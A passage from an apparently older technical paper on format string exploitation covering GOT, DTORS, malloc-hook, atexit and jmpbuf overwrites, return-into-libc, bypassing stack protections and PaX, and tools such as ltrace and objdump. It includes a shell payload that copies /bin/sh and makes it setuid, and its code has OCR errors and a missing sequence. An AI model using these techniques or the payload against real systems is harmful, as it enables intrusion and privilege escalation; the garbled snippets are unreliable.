native things we can overwrite. Common stack based buffer overflows allow
only return address overwrites, because those are stored on the stack, too.
With format functions however, we can write anywhere into the memory,
allowing us to modify the entire writeable process space.

It is therefore interesting to examine other ways to seize partial or full
control over the exploited process. In certain situations this can result in
an easier way of exploitation or - as we will see - can be used to circumvent
certain protections.



24 6 SPECIAL CASES

I will discuss the alternative address locations briefly here, giving refer-
ence to more in-depth articles.

6.1.1 GOT overwrite

The process space of any ELF binary [12] includes a special section, called
the ‘Global Offset Table’ (GOT). Every library function used by the program
has an entry there that contains an address where the real function is located.
This is done to allow easy relocation of libraries within the process memory
instead of using hardcoded addresses. Before the program has used the
function the first time the entry contains an address of the run-time-linker
(rtl). If the function is called by the program the control is passed to the rtl
and the functions real address is resolved and inserted into the GOT. Every
call to that function passes the control directly to it and the rtl is not called
anymore for this function. For a more complete overview about exploitation
through the GOT, refer to the excellent article of our Lam3rZ brothers [19].

By overwriting a GOT entry for a function the program will use after
the format string vulnerability has been exploited we can seize control and
can jump to any executeable address. This unfortunately means that any
stack based protections, which perform checks on the return address will
fail.

The big advantage we gain from overwriting a GOT entry is its indepen-
dance to environment variables (such as the stack) and dynamic memory
allocation (heap). The address of a GOT entry is only fixed per binary, so
if two systems have the same binary running, then the GOT entry is always
at the same address.

You can see where the GOT entry for a function is by running:

objdump --dynamic-reloc binary

The address of the real function (or the rtl linking function) is directly
at the printed address.

Another really important factor why to use GOT entries to seize control
instead of return addresses is code of the form (found in some ‘secure’ finger
daemon):

syslog (LOG_NOTICE, user);
exit (EXIT_FAILURE);

You cannot seize control here by overwriting a return address reliable.
You can try to overwrite syslog’s own return address here, but a more
reliable way is to overwrite the GOT entry of the ‘exit’ function, which will
pass the execution to the address you specify as soon as ‘exit’ is called.

But the most useful advantage of the GOT technique is its ease of use,
you just run objdump and you have the address to overwrite (retloc). Hack-
ers are lazy at typing (except sloppy ;-).
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6.1.2 DTORS

Binaries compiled with the GNU C Compiler include a special destructor
table section, called ‘DTORS’. The destructors listed here are called just before
the real ‘exit’ system call is issued, after all the common cleanup operations
are done. The DTORS section is of the following format:

DTORS: Oxffffffff 0x00000000 ...

Where the first entry is a counter which holds the number of function
pointers that follow or minus one (as it is the case here) if the list is empty.
On all implementations of the DTORS section this field is ignored. Then, at
relative offset +4 there are the addresses of the cleanup functions, terminated
by a NULL address. You can just overwrite this NULL pointer with a pointer
to your shellcode and your code will be executed whenenver the program
exits. A more complete introduction to this technique can be found in [17].

6.1.3 C library hooks

A few month ago Solar Designer introduced a new technique to exploit heap
based overflows in malloc-allocates memory. He suggested to overwrite
a hook that is present in the GNU C Library and some other propietary
libraries. Normally, this hook is used by memory debugging and profiling
tools, to get noticed whenever an application allocated or frees memory
using the malloc interface. There are a few hooks, but the most common
are __malloc_hook, __realloc_hook and __free_hook. Normally they are
set to NULL, but as soon as you overwrite them with a pointer to your code,
your code will be executed as either malloc, realloc and free is called.
Since the hooks are normally used as debug hooks they are called before the
real function is executed.

A discussion about the malloc-overwrite technique is given in Solar De-
signers advisory about the Netscape JPEG decoder vulnerability [15].

6.1.4 __atexit structures

Also a few month ago, Kalou introduced a way to exploit statically linked
binaries under Linux, which take advantage of a generic handler called
‘__atexit’, which gets executed as soon as your program calls exit. This
allows a program to setup a number of handlers that will be called as it
exits, to release resources. A detailed discussion of attacks on the atexit
structure can be found in Pascal Bouchareines paper [10].

6.1.5 function pointers

If the victim application makes use of function pointers, chances are that
you can overwrite them. To make use of them, you have to overwrite it
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and afterwards trigger them. Some daemons use function pointer tables for
command processing, for example QPOP. Also function pointers are often
used to simulate atexit-like handlers, such as in SSHd.

6.1.6 jmpbuf’s

First jmpbuf overwrite techniques were used in exploitation of heap stored
buffers. With format strings jmpbuf’s behave just like function pointers,
since we can write anywhere in the memory, not limited by the relative
position of the jmpbuf to our buffer. An in-depth discussion can be found
in Shok’s paper about heap overflows [15].

6.2 Return into LibC

You can use the common return-into-LibC technique, pioneered by - once
again - Solar Designer [11]. But sometimes there may be a shortcut, which
results in a easier exploitation:

FILE x f£;
char foobuf [512] ;

snprintf (foobuf, sizeof (foobuf), user);
foobuf [sizeof (foobuf) - 1] = ’\0’;
f = fopen (foobuf, "r");

You can overwrite the GOT address of ‘fopen’ with the address of the
‘system’ function. Then use a format string such as:

"cd /tmp;cp /bin/sh .;chmod 4777 sh;exit;"
"addresses|stackpop|write"

Where ‘addresses’, ‘stackpop’ and ‘write’ are the common format string
exploitation sequences. They are used to overwrite the GOT entry of ‘fopen’
with the address of ‘system’. As ‘fopen’ is called the string is passed to the
‘system’ function. Alternativly you can use the common old method, as
described below.

6.3 Multiple Print

If you can trigger the format string vulnerability multiple times within the
same process (such as in wu-ftpd), you can overwrite more then just the re-
turn address. For example you can store the entire shellcode on the heap to
circumvent any non-executeable-stack protection. Together with the other
techniques explained here you can circumvent the following protection facil-
ities (certainly not complete):
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e StackGuard
e StackShield
e Openwall kernel patch (by Solar Designer)

e libsafe

In the middle of October 2000 a group of people published a series of
Linux kernel patches known as PaX [11], that effectivly allow to implement
pages that are read- and writeable but not executeable. Since it is not
possible to do this nativly on the x86 CPU series, the patch uses some tricks,
discovered by the Plex CPU emulator project. On a system running this
patch it is virtually impossible to execute arbitrary shellcode you introduced
into the process. But most of the times there is already useful code within
the process space itself. We can execute this code to do things we would
normally do in our shellcode.

Using common Return-into-LibC techniques [11] you can circumvent this
protection. The simplest case is to return into the system() library function
using the format string as parameter.

By optimizing the strings a bit, you can reduce the mandatory offsets to
know to just one: the address of the system() function. To call a program
you can use this sequence at the end of your format string:

Any address that points into the ‘;’ characters and passed to the system()
function will execute the commands, since the ‘;’ characters act a ‘nop’ com-
mands to the shell.

6.4 Format string within the Heap

Until now we have assumed that the format string always lies on the stack.
But however, there are cases, where it is stored on the heap. If there is
another buffer on the stack we can influence we can use that one to supply the
addresses to write to, but if there is no such buffer we have few alternatives
left.

If the target buffer lies on the stack, we can first print to it, and then
use the addresses from there, to write using the ‘%n’ parameters:

void
func (char *user_at_heap)

{
char outbuf [512] ;

snprintf (outbut, sizeof (outbuf), user_at_heap);
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outbuf [sizeof (outbuf) - 1] = ’\0’;

return;

Here we use a format string that contains the addresses we want to
write to, as usual. But whats special about it, is that we do not access those
addresses from the format string itself, but from the target buffer. To do
this we have to first store the addresses on the stack, by simply printing
them. Therefore the write sequence has to be behind the addresses within
the format string.

If both buffers do not lie within the stack, we have a problem:

void

func (char *user_at_heap)

{
char * outbuf = calloc (1, 512);
snprintf (outbut, 512, user_at_heap);
outbuf [511] = ’\0’;
return;

}

Now it depends on whether we have some way of supplying data on
the stack. For example, some exploits for wu-ftpd used the password field
to store data in (shellcode, not addresses though - those exploits can not
exploit non-anonymous accounts).

Every vulnerability and exploit is different, and one should have invested
hours of studying the vulnerability before stating that it is not exploitable,
and even then there are cases you are wrong, as not only the history of
format string vulnerabilities have shown. (Hi OpenBSD team! :-).

6.5 Special considerations

Beside the exploitation itself there are some things to consider. If the shell-
code is contained within the format string it may not contain ‘\x25’ (%) or
NUL bytes. But since no important opcode is in neither 0x25 or 0x00 you
will not run into problems when constructing shellcode. The same is true if
the addresses are stored on the format string, too. If an address you want
to write to contains a NUL-byte in the least significant byte, you can replace
it with a short-write on an odd address just below the address you want to
store the byte on. This is not possible on all architectures, though. Also,
you can use two seperate format strings. The first creates the address you
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want to write to in the memory behind the whole string. The second uses
this address to write to it.

This may become complicated pretty soon, but allows reliable exploita-
tion and is sometimes worth the effort.

7 Tools

Once the exploit is finished, or even within the exploit development it is
helpful to use tools to retrieve the necessary offsets. Some tools can also
help in identifying vulnerabilities such as format string vulnerabilities in
closed source software. I have listed four tools here, which were very helpful
for me, and may be for you, too.

7.1 ltrace, strace

ltrace [3] and strace [9] work in a similar way: they hook library and system
calls, logging their parameters and return values, as the program calls them.
This allows you to observe how the program interacts with the system,
considering the program itself as a black box.

All readymade format functions are library calls and their parameters,
most important their addresses can be observed using ltrace. This way you
can quickly determine the address of the format string in any process you
can ptrace. The strace program is used to get the addresses of buffers where
data is read into, for example if read is called to read in data that is later
used as the format string.

To learn the usage of this two tools can repay in saving a lot of time,
which you would use in trying to attach GDB to an outdated program with
missing symbols and compiler optimizations, just to find two simple offsets.

7.2 GDB, objdump

GDB [7], the classic ‘GNU Debugger’ is a text based debugger, which is
suited for both source level and machine code debugging. Although it does
not look very comfortable, once you get used to it, it is a powerful interface
to the programs internals. It is handy for anything from debugging your
exploit to watching the process getting exploited.

Objdump, a program from the GNU binutils package [10], is suited to
retrieve any information for a binary executeable or object file, such as the
memory layout, the sections or a disassembly of the main function. We
mainly use it to retrieve the addresses of the GOT entries from the binary.
But it can serve you in a lot of different useful ways.
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